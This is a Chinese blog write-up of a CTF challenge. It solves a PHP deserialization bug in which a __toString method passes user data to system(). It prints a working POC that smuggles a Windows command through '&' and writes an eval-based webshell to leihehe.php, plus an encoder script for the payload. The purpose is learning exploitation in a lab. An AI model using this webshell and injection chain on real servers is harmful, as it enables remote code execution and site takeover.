记某CTF赛题PHP反序列化漏洞解题过程
2023-06-15 17:08:51 # Web Security # PHP

前言

今天在群里看见有人发了一个CTF赛题,看了下是PHP反序列化类型的,出于好奇便做了一下,途中遇到一些坑,最后终于解决了,同时我也收获了一些自己平时没有注意过、了解掌握过的知识,因此将这个解题思路和过程记录下来,方便以后复习。

解题过程

确定漏洞类型

因为代码是直接发在群里的,我把它手动复制粘贴到了PHP文件里,方便操作。

首先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
class A
{
public $contents = "hello ctfer";
function __toString()
{
if ((preg_match('/^[a-z]/i',$this->contents))) {
system("echo $this->contents");
return '111';
}else{
return "...";
}
}
}
function decode_data($data){
$data = base64_decode($data);
$res = '';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}
if (isset($_GET['data'])) {
$data =$_GET['data'];
$data = decode_data($data);
echo unserialize($data);
}else{
highlight_file(__FILE__);
}
?>

分析代码可知,第28号处有unserialize(),这意味着这道题是PHP反序列化漏洞的题且我们需要传入一个携带data参数的GET请求。

确定利用的Class

那么这里有什么可以被我们用来利用的类吗?这时我看到了class A,发现如下代码

1
2
3
4
5
6
7
8
9
function __toString()
{
if ((preg_match('/^[a-z]/i',$this->contents))) {
system("echo $this->contents");//此处高亮!!发现了命令执行代码
return '111';
}else{
return "...";
}
}

Class A中,有一个toString()的方法,方法内部有我们想要的命令执行代码。

我们知道当Object与字符串比较或被执行与字符串相关操作的时候,__toString()会被call。继续看,$data会被执行decode_data($data)

1
2
3
4
5
6
7
8
function decode_data($data){
$data = base64_decode($data);
$res = '';
for($i=0; $i< strlen($data); $i++){//此处data被取了strlen,所以to_String()是会被call的
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}

重点来了,strlen($data)代表着$data最终是会被执行__toString()的,那么我们更加确信,Class A 可以被我们利用实现反序列化

构造利用Class

__toString()方法中,我们必须满足 if ((preg_match('/^[a-z]/i',$this->contents))),才能执行system()命令。

来看下preg_match()解释

image-20210723150712496

由此可知,preg_match()在第一次匹配到结果后,就结束匹配了。那么我们可以把代码理解为如下:

1
2
3
4
5
6
7
8
9
10
function __toString()
{
//从变量contents的开头第一个字符开始,到最后一个字符,匹配是否为a-z的字母,如果结果为真,进入下面的代码,否则进入else{}
if ((preg_match('/^[a-z]/i',$this->contents))) {
system("echo $this->contents");//命令执行
return '111';
}else{
return "...";//未匹配到
}
}

举个例子,如果我们$contents="<?php phpinfo() ?>",preg_match()就会匹配失败,因为我们第一个字符不是字母a-z。但如果我们的contents="a<?php phpinfo() ?>",这时候preg_match()匹配到第一个字符为a,符合条件,于是不再继续检测,返回true

观察 system("echo $this->contents");中有一个echo,是输出的意思。因为我是在windows的环境上搭建的,所以我们需要用windowsDOS命令。这时我想到了使用&来执行多条命令,所以

因此我们可以构造$contents='a & echo ^<^?php ^@eval(^$_POST["leihehe"]);^?^> >>leihehe.php'将一句话木马写入leihehe.php文件中

注意在符号前要加上转义符^,否则无法输出:

image-20210723152016246

还有要注意单引号和双引号的问题,PHP中给变量赋值的时候,用双引号会把一些符号给翻译成PHP语言,所以我们这种符号比较多的情况,要用单引号,$_POST["leihehe"]里面的内容用双引号。

这样我们的Class A就构造好了。

序列化及加密(逆向思维)

那么我们应该怎么把他序列化呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function decode_data($data){
$data = base64_decode($data);
$res = '';
for($i=0; $i< strlen($data); $i++){
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}
if (isset($_GET['data'])) {
$data =$_GET['data'];
$data = decode_data($data);
echo unserialize($data);
}else{
highlight_file(__FILE__);
}

通过观察,data被传入后会进行自定义的解码,最后再被反序列化。反过来,我们需要先序列化后,再按照它自定义的方式编码。

来看看他是如何解码的

1
2
3
4
5
6
7
8
function decode_data($data){
$data = base64_decode($data);//base64解码
$res = '';
for($i=0; $i< strlen($data); $i++){//将base64解码后的每一个字符都用ord转换成ASCII后,加上它所在的index,再用chr()转换回字符。
$res .= chr(ord($data[$i]) + $i);
}
return $res;
}

那么他的处理过程是:

data->base64解码->chr(ord($data)+$i)->反序列化

反过来,我们构造的过程可以是:

序列化->chr(ord($data)-$i)->base64加密->data

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
Class A
{
public $contents = 'a & echo ^<^?php ^@eval(^$_POST["leihehe"]);^?^> >>leihehe.php';
}

$af=serialize(new A());//序列化
$res='';
for($i=0; $i< strlen($af); $i++){//自定义编码过程
$res .= chr(ord($af[$i]) - $i);
}
echo base64_encode($res);//base64编码后输出
?>

image-20210723163609369

赋值给$data:

image-20210723163906677

可见输出了111,这时候我们可以看到目录下已经生成了php文件

image-20210723164057370

连接菜刀即可 - 不知道为什么我的菜刀连接不上,所以直接用浏览器演示好了

image-20210723164934353

总结

这道题我花了很长时间,主要是在以下坑点一直stuck:

  • 没有弄清楚题目中自定义解码的过程,导致写不出来逆向的加密过程。ord()chr()不明白什么意思。ord()是返回字符串第一个字符的ASCII值,chr()是把ASCII值转换为字符
  • 因为不了解preg_match()函数,误认为是检测所有字符,导致在这里卡了很久(自己还不知道去查一下资料..)。preg_match()函数在匹配到第一个符合的字节后就会停止匹配
  • Windows下命令行的操作命令不熟悉,又加上不清楚preg_match()方法,导致我以为整个variable完全不能含有特殊符号,一直在想怎么绕过。Windows下,特殊符号前面需要加转义符^
  • 不知道有echo 111 >>1.php这种输出文件的写法。

总之这次收获很多,果然是要多做练习才能增加实力。

Reference

PHP preg_match and preg_match_all functions

关于批处理转义特殊字符